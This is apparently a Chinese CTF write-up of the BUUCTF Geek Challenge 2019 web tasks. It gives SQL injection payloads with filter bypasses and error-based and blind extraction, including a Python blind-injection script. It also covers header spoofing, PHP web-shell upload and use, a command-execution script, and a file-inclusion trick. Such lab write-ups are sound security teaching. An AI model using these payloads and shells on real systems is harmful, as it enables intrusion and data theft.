[极客大挑战 2019]EasySQL
直接万能密码闭合后登录即获得flag
闭合后语句username= 1 & password= '1' or 1 = 1 #'
[极客大挑战 2019]LoveSQL 使用万能密码尝试
username= 1 & password= 1 ' or 1=1#
有回显位置了,且题目提示flag放在了其他位置,下述payload的password均为上图数据
username= admin' order by 3# order by判断列数,列数为4时报错 username=a' union select 1 ,2 ,3 #用不存在的username才能找到回显位,不然使用admin只会重复上图,回显位为2 ,3 username= a' union select 1,(database()),3# 库名为geek username=a' union select 1 ,(select group_concat(table_name) from information_schema.tables where table_schema= 'geek' ),3 #表名有geekuser,l0ve1ysq1 username= a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=' l0ve1ysq1'),3# 列名有id,username,password username=a' union select 1 ,(select group_concat(password) from l0ve1ysq1),3 #获得flag
[极客大挑战 2019]BabySQL 同样的payload
username= 1 & password= 1 ' or 1=1#
发现or没了,推测过滤or,尝试双写绕过成功登录(大小写绕过失败,换为||成功)
username= 1 & password= 1 ' oorr 1=1# 如果是双写能成功登录就可直接爆库表列flag,但是双写不能绕过or过滤时,相当于过滤information_schema表,此时表名可通过mysql.innodb_table_stats表中相同方式爆出,flag通过无列名注入爆出 username=admin' oorrder by 3 #此时仍然报错了,根据报错内容推测把by 也过滤了 username= admin' oorrder bbyy 3# 成功登录,接下来正常流程 username=a' union select 1 ,2 ,3 #这个payload也报错,根据报错内容推测union 和select 都ban了 username= a' ununionion seselectlect 1,2,3# 成功找到回显位为2,3 username=a' ununionion seselectlect 1 ,(database()),3 #库名为geek username= a' ununionion seselectlect 1,(seselectlect group_concat(table_name) from infoorrmation_schema.tables where table_schema=' geek'),3# 还报错,根据报错提示将from和where也双写 username=a' ununionion seselectlect 1 ,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema= 'geek' ),3 #表名为b4bsql,geekuser username= a' ununionion seselectlect 1,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=' b4bsql'),3# 列名为id,username,password username=a' ununionion seselectlect 1 ,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 #获得flag(注意爆flag时password中也有or )
[极客大挑战 2019]HardSQL 随便尝试万能密码注入,显示错误,用bpfuzz判断一下哪些字符被过滤了
可以看到很多字符被过滤了,而ascii,left,join,select,floor,like,updatexml等关键词未被过滤
尝试报错注入 password= 1 'or(updatexml(1,concat(0x7e,(database()),0x7e),1))# 库名为geek,注意等号也被过滤了 password=1' or (updatexml(1 ,concat(0x7e ,(select (group_concat(table_name))from (information_schema.tables)where (table_schema)like ('geek' )),0x7e ),1 ))#表名为H4rDsq1 password= 1 'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(' H4rDsq1')),0x7e),1))# 列名为id,username,password password=1' or (updatexml(1 ,concat(0x7e ,(select (password)from (H4rDsq1)),0x7e ),1 ))#但是只出来一半的flag,使用substr(被ban),left ,right 解决,flag{1017 f607-85 ef-46 d4-8 d03-04 password= 1 'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))# 获得右边一半7-85ef-46d4-8d03-04400211b36b},拼接
[极客大挑战 2019]FinalSQL 题目提示要找到第六个代码,并且在url中有id
结合题目提示使用盲注,尝试对id进行布尔盲注,这里要涉及到异或,两个数相同返回0,不同返回1
id= 1 ^ 1 #报错 id= 1 ^ 0 #id为1 的页面 即后面的数字为注入点 尝试payload id= 1 ^ (substr(database(),1 ,1 )= 'g' ) #报错 id= 1 ^ (substr(database(),1 ,1 )= 'c' ) #id为1 的页面 可正常布尔盲注,脚本如下(由于最后的一排数据过多,对force3函数优化,查询后停0.1 秒,能有效避免请求过多,且上限提升至600 ,所以把每个都增加了查询后停0.1 秒)
import requestsimport timedef force (url ): find='' for i in range (1 ,200 ): found_char=False for j in range (32 ,128 ): payload = {'id' :f"1^(ascii(substr(database(),{i} ,1))={j} )" } r = requests.get(url=url,params=payload).text if ('ERROR' in r): find += chr (j) print (find) found_char = True break if not found_char: print ("未找到更多字符,库名为" +find) break return find def force1 (url ): find='' for i in range (1 ,200 ): found_char=False for j in range (32 ,128 ): payload = {'id' :f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='{database} ')),{i} ,1))={j} )" } r = requests.get(url=url,params=payload).text if ('ERROR' in r): find += chr (j) print (find) found_char = True break if not found_char: print ("未找到更多字符,表名为" +find) break def force2 (url ): find='' for i in range (1 ,200 ): found_char=False for j in range (32 ,128 ): payload = {'id' :f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='{table} ')),{i} ,1))={j} )" } r = requests.get(url=url,params=payload).text if ('ERROR' in r): find += chr (j) print (find) found_char = True break if not found_char: print ("未找到更多字符,列名为" +find) break def force3 (url ): find='' for i in range (1 ,600 ): found_char=False for j in range (32 ,128 ): payload = {'id' :f"1^(ascii(substr((select(group_concat({column} ))from({table} )),{i} ,1))={j} )" } r = requests.get(url=url,params=payload).text time.sleep(0.1 ) if ('ERROR' in r): find += chr (j) print (find) found_char = True break if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ =="__main__" : url='http://71344066-f916-483f-a15a-230ea9111242.node5.buuoj.cn:81/search.php' database=force(url) force1(url) table=input ("请输入表名:" ) force2(url) column=input ("请输入列名:" ) force3(url)
[极客大挑战 2019]Havefun 页面没啥找的就先看原码,看到注释部分提示GET传参cat=dog,传参后获得flag
[极客大挑战 2019]Http 打开页面没什么信息,在源码中找到Secret.php页面
访问提示不是来自https://Sycsecret.buuoj.cn
,即涉及到referer伪造,参考详解请求头信息
抓包在bp重发器中伪造referer后如下
提示用”Syclover” browser,将UA更换为Syclover后重发如下
提示只能本地使用,那就通过X-Forwarded-For来伪造
[极客大挑战 2019]Knife 基础解法
进入环境就看到一句话木马,直接通过蚁剑连接即可
后面看了其他师傅的wp,发现这个题思路还有很多,以下再提供两个大佬的其他思路,可参考原文[士别三日wyx](https://blog.csdn.net/wangyuxiang946/article/details/121023808?ops_request_misc=%7B%22request%5Fid%22%3A%22171075928816800182711393%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=171075928816800182711393&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-121023808-null-null.142^v99^pc_search_result_base7&utm_term=[极客大挑战 2019]Knife&spm=1018.2226.3001.4187)和[Senimo_](https://blog.csdn.net/weixin_44037296/article/details/109151169?ops_request_misc=%7B%22request%5Fid%22%3A%22171075928816800182711393%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=171075928816800182711393&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-4-109151169-null-null.142^v99^pc_search_result_base7&utm_term=[极客大挑战 2019]Knife&spm=1018.2226.3001.4187)
进阶解法一 一句话木马本身是利用代码执行的函数进行运行,说的简单点就是你的post请求传入eval()中,那也就是说,我们可以修改Post请求的参数来执行代码!
打开hackbar执行:
可以直接进入展示PHP信息界面:
这里很多人有疑问了,为什么要进入这里呢,因为在这个phpinfo界面下是无任何过滤的,这也是为什么,大多数网站的题目都要禁止或者加密不让访问这个界面,接下来进入下一步:
我们使用var_dump()+scandir()查看一下根目录:
Syc=var_dump(scandir ('/'))
看起来无变化,但是只是由于背景颜色遮挡,直接看源码
可以看到flag文件夹了,ctf有一个不成文的规矩就是要么不出flag字符,要么出现flag就在这里边!
那就访问下就好,使用vay_dump+file_get_contents()查看文件就还好了:
Syc=var_dump(file_get_contents ('/flag'))
在源码中就可以找到flag
这里引用大佬的一段话
喜欢一个东西首先要先学会「尊重」,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着「举世皆浊我独清,众人皆醉我独醒」的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全。
进阶解法二 连接一句木马并使用SHELL,需要将一句话木马作为POST传值的参数,将PHP语句作为值传入,并通过PHP语句执行SHELL命令。
我们剖析一下菜刀的原理,先看下菜刀发送的数据包:
op=@eval(base64_decode($_POST[attack]));&attack=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
op=@eval(base64_decode($_POST[attack]));
为正常的一句话木马,其通过POST方式传参,参数名为attack base64_decode()函数解码了传入的值 因为对传入的值进行BASE64编码可以有效的防止特殊字符传输失败的异常。 把值进行BASE64解码,得到:
@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; print("hello PHP!");; echo("|<-"); die();
首先进行测试,hackbar传参可获得回显
因此直接搬运脚本
import requestsimport re class Knife : def __init__ (self, url_input ): self .payload_data = {"Syc" : "exec('cat /flag',$out);print_r($out);die();" } self .status_code = 1 self .url = url_input.strip() self .flag = '' def url_test (self ): for i in range (9 ): try : if self .url.endswith('/index.php' ) or self .url.endswith('buuoj.cn/' ) or self .url.endswith('buuoj.cn' ): requests.get(self .url) print ('测试状态: 200 ' + self .url) except : print ('无效链接!请重新输入!' ) self .url = input ('请输入题目链接:' ) self .status_code = 0 else : self .status_code = 1 break if self .status_code == 0 : print ('无效链接!退出程序!' ) return def num_test (self ): for i in range (30 ): try : r = requests.post(self .url, data=self .payload_data) self .flag = re.search(r'flag\{.+\}' , r.text).group() except : print ('第 ' + str (i+1 ) + ' 次未获取到flag! 正在重试!' ) else : break def run (self ): self .url_test() self .num_test() if self .flag == '' : print ('已尝试30次!未获取到flag! 退出程序!' ) return self .flag if __name__ == '__main__' : print ('ctf_exp0: BUUCTF [极客大挑战 2019] Knife' ) url_input = input ('请输入题目链接:' ) print (Knife(url_input).run()) input ()
同样可以获得flag
[极客大挑战 2019]BuyFlag 源码中发现pay.php
,进入后再次在源码中找到注释内容
即password传参为404且不全为数字(弱比较),即传404a都行
在pay.php页面中发现提示必须以学生身份购买flag,发现cookie中有user=0,尝试改为1
提示还需要pay,因此传money=100000000,提示数字过长,使用科学计数法获得flag
[极客大挑战 2019]Upload 写含一句话木马<?php eval($POST['123']);?>
的php文件尝试上传
显示不是图片文件,直接抓包修改后缀为image/jpeg判断是否是客户端验证
返回not php
,说明成功绕过文件类型限制,但是还是要对文件内容进行检测,将文件内容改为
<script language ='php' > @eval ($_POST['123' ]); </script >
将后缀改为phtml可绕过php限制(绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht)
还是提示不是上传的图片文件,因此通过伪造jpg文件头成功上传,前面加上GIF89a
,这个可以伪造成jpg格式的文件。
上传成功后就要找到保存路径通过蚁剑连接,一般保存在/upload下
成功找到该文件,通过蚁剑连接,注意蚁剑url地址为url/upload/filename
在根目录下找到flag
[极客大挑战 2019]Secret File 根据题目先在源码中找到/Archive_room.php,访问secret后发现直接跳转到end.php中,并且显示查阅结束,因此抓包重新看过程
发现注释了secr3t.php
,bp访问得下图,即文件包含漏洞
源码如下
<?php highlight_file (__FILE__ ); error_reporting (0 ); $file =$_GET ['file' ]; if (strstr ($file ,"../" )||stristr ($file , "tp" )||stristr ($file ,"input" )||stristr ($file ,"data" )){ echo "Oh no!" ; exit (); } include ($file ); ?>
即构造一个伪协议,payload如下
提示就在这里但是看不到,尝试base64编码后读取,payload如下
将下列字符解码后得到
贴一个python的base64解码脚本
import base64 def base64_decoder (encoded_string ): try : decoded_bytes = base64.b64decode(encoded_string) decoded_string = decoded_bytes.decode('utf-8' ) return decoded_string except Exception as e: return f"解码失败: {e} " encoded_string = input ("请输入待解码字符串:" ) decoded_string = base64_decoder(encoded_string) print (decoded_string)